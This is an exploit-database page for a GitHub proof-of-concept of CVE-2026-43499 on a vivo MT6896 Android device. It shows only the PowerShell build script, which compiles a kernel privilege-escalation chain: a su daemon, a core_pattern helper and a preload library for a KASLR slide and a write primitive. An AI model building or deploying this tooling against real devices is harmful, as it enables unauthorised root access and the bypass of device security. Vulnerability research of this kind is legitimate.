Exploit database

GH-282e253a53c16ebe50dc62429538a0d3

syerain/cve-2026-43499-vivo-mt6896

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

preload/exploit/build.ps1

PowerShell · 3,259 bytes
# Windows-native build script (equivalent to original Makefile, no POSIX shell)
# Usage: powershell -ExecutionPolicy Bypass -File build.ps1 [-Project <name>]
param(
    [string]$Project = "vivo-pd2238-AP3A.240905.015.A2",
    [switch]$Probe,
    [switch]$Ksnitch,
    [switch]$Qemu,
    [switch]$Real,
    [switch]$VerifyBootId,
    [string]$OutName = "preload.so"
)

$ErrorActionPreference = "Stop"
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
Push-Location $Root
$Ndk = Join-Path $Root "..\ndk\android-ndk-r29\toolchains\llvm\prebuilt\windows-x86_64"
$Cc = Join-Path $Ndk "bin\clang.exe"

if (-not (Test-Path $Cc)) {
    throw "NDK clang not found: $Cc"
}

$TargetDir = "src/targets/$Project"
$TargetHeader = Join-Path $Root "src\targets\$Project\target.h"
if (-not (Test-Path $TargetHeader)) {
    throw "missing target.h: $TargetHeader"
}

$OutDir = Join-Path $Root "build\$Project\bin"
$EmbedDir = Join-Path $Root "build\embed"
New-Item -ItemType Directory -Force -Path $OutDir, $EmbedDir | Out-Null

$Cflags = @("-O2", "-g0", "-Wall", "-Wextra", "-Isrc")
$Warn = @("-Wno-unused-parameter", "-Wno-sign-compare", "-Wno-unused-function")
$TargetDef = '"' + "-DTARGET_CONFIG_H=\`"targets/$Project/target.h\`"" + '"'
$TargetArg = "--target=aarch64-linux-android35"
$ExtraDefs = @()
if ($Probe) { $ExtraDefs += "-DPHYS_PROBE_ONLY=1" }
if ($Ksnitch) { $ExtraDefs += "-DPHYS_KSNITCH_ONLY=1" }
if ($Qemu)  { $ExtraDefs += "-DP0_KERNEL_PHYS_LOAD=0x40200000ULL" }
if ($Real)  {
    # 真机构建:P0 保持 0x40080000(target.h 默认),写目标回 ASHMEM_MISC_FOPS,
    # 只做提权验证(yes.txt),不安装 su / 不改 SELinux。
    $ExtraDefs += "-DAUDIOIPI_VERIFY_TARGET=0"
    $ExtraDefs += "-DPHYS_VERIFY_ONLY=1"
}
if ($VerifyBootId) {
    # 真机写原语自验证诊断:P0 保持 0x40080000,写目标为 boot_id 缓冲 +3,
    # 仅确认 rb_erase 写原语是否触发(boot_id 变更即成功),不进入 root 阶段。
    $ExtraDefs += "-DAUDIOIPI_VERIFY_TARGET=1"
    $ExtraDefs += "-DPHYS_VERIFY_ONLY=1"
}

# 1) embedded su_daemon (PIE executable)
$SuOut = Join-Path $EmbedDir "su_daemon_aarch64_pie"
Write-Host "[1/3] building su_daemon -> $SuOut"
& $Cc $TargetArg @("-fPIE", "-pie") @Cflags $TargetDef @ExtraDefs "src/su_daemon.c" "-o" $SuOut
if ($LASTEXITCODE -ne 0) { throw "su_daemon build failed" }

# 2) embedded planb core_pattern helper (static, no libc)
$HelperOut = Join-Path $EmbedDir "planb_helper_aarch64_static"
Write-Host "[2/3] building planb helper -> $HelperOut"
& $Cc $TargetArg "-nostdlib" "-static" "-Wl,-e,_start" "src/planb_helper.S" "-o" $HelperOut
if ($LASTEXITCODE -ne 0) { throw "planb helper build failed" }

# 3) preload.so (shared library)
$PreloadOut = Join-Path $OutDir $OutName
$Srcs = @(
    "src/main.c", "src/util.c", "src/slide.c", "src/fops.c",
    "src/pipe.c", "src/root.c", "src/preload.c",
    "src/su_blob.S", "src/wallpaper_blob.S", "src/planb_helper_blob.S"
)
Write-Host "[3/3] building preload.so -> $PreloadOut"
& $Cc $TargetArg @("-fPIC") @Cflags @Warn $TargetDef @ExtraDefs @Srcs "-shared" "-o" $PreloadOut "-pthread"
if ($LASTEXITCODE -ne 0) { throw "preload.so build failed" }

Write-Host "OK: $PreloadOut"
Write-Host "    su_daemon: $SuOut"
Pop-Location